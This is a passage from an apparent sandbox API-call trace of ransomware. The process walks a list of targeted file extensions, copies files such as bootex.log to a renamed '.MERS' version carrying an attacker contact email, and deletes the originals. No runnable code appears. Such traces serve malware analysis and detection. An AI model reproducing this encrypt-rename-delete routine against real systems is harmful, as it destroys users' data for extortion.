[0257.869] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0257.869] lstrlenW (lpString=".7z") returned 3 [0257.869] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0257.869] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0257.869] lstrlenW (lpString=".dbf") returned 4 [0257.869] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0257.870] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0257.870] lstrlenW (lpString=".1cd") returned 4 [0257.870] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0257.870] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0257.870] lstrlenW (lpString=".jpg") returned 4 [0257.870] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0257.870] Sleep (dwMilliseconds=0x64) [0258.056] lstrcmpiW (lpString1=".log", lpString2=".MERS") returned -1 [0258.056] lstrlenW (lpString="bootex.log") returned 10 [0258.056] CreateFileW (lpFileName="C:\\bootex.log" (normalized: "c:\\bootex.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0258.176] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=5120) returned 1 [0258.176] CloseHandle (hObject=0x2f0) returned 1 [0258.176] GetFileAttributesW (lpFileName="C:\\bootex.log" (normalized: "c:\\bootex.log")) returned 0x80 [0258.176] GetFileAttributesW (lpFileName="C:\\bootex.log.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\bootex.log.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.176] CreateFileW (lpFileName="C:\\bootex.log" (normalized: "c:\\bootex.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0258.176] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.176] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.177] CreateFileW (lpFileName="C:\\bootex.log.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\bootex.log.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0258.223] GetLastError () returned 0x0 [0258.223] ReadFile (in: hFile=0x2f0, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x1400, lpOverlapped=0x0) returned 1 [0258.230] WriteFile (in: hFile=0x2f8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x1410, lpOverlapped=0x0) returned 1 [0258.231] ReadFile (in: hFile=0x2f0, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.231] WriteFile (in: hFile=0x2f8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0258.232] SetEndOfFile (hFile=0x2f8) returned 1 [0258.232] CloseHandle (hObject=0x2f8) returned 1 [0258.232] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.232] SetEndOfFile (hFile=0x2f0) returned 1 [0258.232] CloseHandle (hObject=0x2f0) returned 1 [0258.232] SetFileAttributesW (lpFileName="C:\\bootex.log.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x80) returned 1 [0258.234] DeleteFileW (lpFileName="C:\\bootex.log" (normalized: "c:\\bootex.log")) returned 1 [0258.234] lstrlenW (lpString="C:\\bootex.log") returned 13 [0258.234] lstrlenW (lpString="C:\\bootex.log") returned 13 [0258.234] lstrlenW (lpString=".doc") returned 4 [0258.234] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0258.234] lstrlenW (lpString=".docx") returned 5 [0258.234] lstrcmpiW (lpString1=".docx", lpString2="x.log") returned -1 [0258.234] lstrlenW (lpString=".pdf") returned 4 [0258.234] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0258.234] lstrlenW (lpString=".xls") returned 4 [0258.234] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0258.234] lstrlenW (lpString=".xlsx") returned 5 [0258.234] lstrcmpiW (lpString1=".xlsx", lpString2="x.log") returned -1 [0258.234] lstrlenW (lpString=".ppt") returned 4 [0258.234] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0258.234] lstrlenW (lpString="C:\\bootex.log") returned 13 [0258.235] lstrlenW (lpString=".zip") returned 4 [0258.235] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0258.235] lstrlenW (lpString=".rar") returned 4 [0258.235] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0258.235] lstrlenW (lpString=".bz2") returned 4 [0258.235] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0258.235] lstrlenW (lpString=".7z") returned 3 [0258.235] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0258.235] lstrlenW (lpString="C:\\bootex.log") returned 13 [0258.235] lstrlenW (lpString=".dbf") returned 4 [0258.235] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0258.235] lstrlenW (lpString="C:\\bootex.log") returned 13 [0258.235] lstrlenW (lpString=".1cd") returned 4 [0258.235] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0258.235] lstrlenW (lpString="C:\\bootex.log") returned 13 [0258.235] lstrlenW (lpString=".jpg") returned 4 [0258.235] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0258.235] lstrlenW (lpString="C:\\bootex.log") returned 13 [0258.235] lstrlenW (lpString="C:\\bootex.log") returned 13 [0258.235] lstrlenW (lpString=".doc") returned 4 [0258.235] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0258.235] lstrlenW (lpString=".docx") returned 5 [0258.235] lstrcmpiW (lpString1=".docx", lpString2="x.log") returned -1 [0258.235] lstrlenW (lpString=".pdf") returned 4 [0258.235] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0258.235] lstrlenW (lpString=".xls") returned 4 [0258.235] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0258.235] lstrlenW (lpString=".xlsx") returned 5 [0258.235] lstrcmpiW (lpString1=".xlsx", lpString2="x.log") returned -1 [0258.235] lstrlenW (lpString=".ppt") returned 4 [0258.235] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0258.235] lstrlenW (lpString="C:\\bootex.log") returned 13 [0258.235] lstrlenW (lpString=".zip") returned 4 [0258.235] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0258.236] lstrlenW (lpString=".rar") returned 4 [0258.236] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0258.236] lstrlenW (lpString=".bz2") returned 4 [0258.236] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0258.236] lstrlenW (lpString=".7z") returned 3 [0258.236] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0258.236] lstrlenW (lpString="C:\\bootex.log") returned 13 [0258.236] lstrlenW (lpString=".dbf") returned 4 [0258.236] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0258.236] lstrlenW (lpString="C:\\bootex.log") returned 13 [0258.236] lstrlenW (lpString=".1cd") returned 4 [0258.236] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0258.236] lstrlenW (lpString="C:\\bootex.log") returned 13 [0258.236] lstrlenW (lpString=".jpg") returned 4 [0258.236] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0258.236] lstrcmpiW (lpString1=".avi", lpString2=".MERS") returned -1 [0258.236] lstrlenW (lpString="boxed-split.avi") returned 15 [0258.236] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0258.427] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=62976) returned 1 [0258.427] CloseHandle (hObject=0x2ec) returned 1 [0258.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0258.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0258.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0258.428] lstrlenW (lpString=".doc") returned 4 [0258.428] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0258.428] lstrlenW (lpString=".docx") returned 5 [0258.428] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0258.428] lstrlenW (lpString=".pdf") returned 4 [0258.428] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0258.428] lstrlenW (lpString=".xls") returned 4 [0258.428] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0258.428] lstrlenW (lpString=".xlsx") returned 5 [0258.428] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0258.428] lstrlenW (lpString=".ppt") returned 4 [0258.428] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0258.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0258.428] lstrlenW (lpString=".zip") returned 4 [0258.428] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0258.428] lstrlenW (lpString=".rar") returned 4 [0258.428] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0258.428] lstrlenW (lpString=".bz2") returned 4 [0258.428] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0258.428] lstrlenW (lpString=".7z") returned 3 [0258.428] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0258.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0258.428] lstrlenW (lpString=".dbf") returned 4 [0258.429] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0258.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0258.429] lstrlenW (lpString=".1cd") returned 4 [0258.429] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0258.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0258.429] lstrlenW (lpString=".jpg") returned 4 [0258.429] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0258.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0258.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0258.429] lstrlenW (lpString=".doc") returned 4 [0258.429] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0258.429] lstrlenW (lpString=".docx") returned 5 [0258.429] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0258.429] lstrlenW (lpString=".pdf") returned 4 [0258.429] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0258.429] lstrlenW (lpString=".xls") returned 4 [0258.429] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0258.429] lstrlenW (lpString=".xlsx") returned 5 [0258.429] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0258.429] lstrlenW (lpString=".ppt") returned 4 [0258.429] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0258.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0258.429] lstrlenW (lpString=".zip") returned 4 [0258.429] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0258.429] lstrlenW (lpString=".rar") returned 4 [0258.430] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0258.430] lstrlenW (lpString=".bz2") returned 4 [0258.430] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0258.430] lstrlenW (lpString=".7z") returned 3 [0258.430] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0258.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0258.430] lstrlenW (lpString=".dbf") returned 4 [0258.430] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0258.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0258.430] lstrlenW (lpString=".1cd") returned 4 [0258.430] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0258.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0258.430] lstrlenW (lpString=".jpg") returned 4 [0258.430] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0258.430] lstrcmpiW (lpString1=".avi", lpString2=".MERS") returned -1 [0258.430] lstrlenW (lpString="correct.avi") returned 11 [0258.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0258.431] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=197120) returned 1 [0258.431] CloseHandle (hObject=0x2ec) returned 1 [0258.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0258.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0258.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0258.431] lstrlenW (lpString=".doc") returned 4 [0258.431] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0258.431] lstrlenW (lpString=".docx") returned 5 [0258.431] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0258.431] lstrlenW (lpString=".pdf") returned 4 [0258.431] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0258.431] lstrlenW (lpString=".xls") returned 4 [0258.431] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0258.431] lstrlenW (lpString=".xlsx") returned 5 [0258.431] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0258.431] lstrlenW (lpString=".ppt") returned 4 [0258.431] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0258.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0258.431] lstrlenW (lpString=".zip") returned 4 [0258.432] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0258.432] lstrlenW (lpString=".rar") returned 4 [0258.432] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0258.432] lstrlenW (lpString=".bz2") returned 4 [0258.432] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0258.432] lstrlenW (lpString=".7z") returned 3 [0258.432] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0258.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0258.432] lstrlenW (lpString=".dbf") returned 4 [0258.432] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0258.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0258.432] lstrlenW (lpString=".1cd") returned 4 [0258.432] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0258.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0258.432] lstrlenW (lpString=".jpg") returned 4 [0258.432] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0258.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0258.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0258.432] lstrlenW (lpString=".doc") returned 4 [0258.432] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0258.432] lstrlenW (lpString=".docx") returned 5 [0258.432] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0258.432] lstrlenW (lpString=".pdf") returned 4 [0258.432] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0258.432] lstrlenW (lpString=".xls") returned 4 [0258.433] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0258.433] lstrlenW (lpString=".xlsx") returned 5 [0258.433] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0258.433] lstrlenW (lpString=".ppt") returned 4 [0258.433] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0258.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0258.433] lstrlenW (lpString=".zip") returned 4 [0258.433] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0258.433] lstrlenW (lpString=".rar") returned 4 [0258.433] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0258.433] lstrlenW (lpString=".bz2") returned 4 [0258.433] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0258.433] lstrlenW (lpString=".7z") returned 3 [0258.433] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0258.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0258.433] lstrlenW (lpString=".dbf") returned 4 [0258.433] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0258.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0258.433] lstrlenW (lpString=".1cd") returned 4 [0258.433] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0258.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0258.433] lstrlenW (lpString=".jpg") returned 4 [0258.433] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0258.434] lstrcmpiW (lpString1=".avi", lpString2=".MERS") returned -1 [0258.434] lstrlenW (lpString="delete.avi") returned 10 [0258.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0258.434] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=224256) returned 1 [0258.434] CloseHandle (hObject=0x2ec) returned 1 [0258.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0258.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0258.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0258.435] lstrlenW (lpString=".doc") returned 4 [0258.435] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0258.435] lstrlenW (lpString=".docx") returned 5 [0258.435] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0258.435] lstrlenW (lpString=".pdf") returned 4 [0258.435] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0258.435] lstrlenW (lpString=".xls") returned 4 [0258.435] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0258.435] lstrlenW (lpString=".xlsx") returned 5 [0258.435] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0258.435] lstrlenW (lpString=".ppt") returned 4 [0258.435] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0258.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0258.435] lstrlenW (lpString=".zip") returned 4 [0258.435] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0258.435] lstrlenW (lpString=".rar") returned 4 [0258.435] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0258.435] lstrlenW (lpString=".bz2") returned 4 [0258.435] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0258.435] lstrlenW (lpString=".7z") returned 3 [0258.435] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0258.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0258.435] lstrlenW (lpString=".dbf") returned 4 [0258.435] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0258.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0258.435] lstrlenW (lpString=".1cd") returned 4 [0258.435] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0258.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0258.436] lstrlenW (lpString=".jpg") returned 4 [0258.436] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0258.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0258.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0258.436] lstrlenW (lpString=".doc") returned 4 [0258.436] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0258.436] lstrlenW (lpString=".docx") returned 5 [0258.436] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0258.436] lstrlenW (lpString=".pdf") returned 4 [0258.436] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0258.436] lstrlenW (lpString=".xls") returned 4 [0258.436] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0258.436] lstrlenW (lpString=".xlsx") returned 5 [0258.436] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0258.436] lstrlenW (lpString=".ppt") returned 4 [0258.436] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0258.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0258.436] lstrlenW (lpString=".zip") returned 4 [0258.436] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0258.436] lstrlenW (lpString=".rar") returned 4 [0258.436] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0258.436] lstrlenW (lpString=".bz2") returned 4 [0258.436] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0258.436] lstrlenW (lpString=".7z") returned 3 [0258.436] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0258.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0258.436] lstrlenW (lpString=".dbf") returned 4 [0258.436] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0258.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0258.436] lstrlenW (lpString=".1cd") returned 4 [0258.436] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0258.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0258.436] lstrlenW (lpString=".jpg") returned 4 [0258.436] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0258.437] lstrcmpiW (lpString1=".avi", lpString2=".MERS") returned -1 [0258.437] lstrlenW (lpString="join.avi") returned 8 [0258.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0258.437] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=222208) returned 1 [0258.437] CloseHandle (hObject=0x2ec) returned 1 [0258.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0258.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft 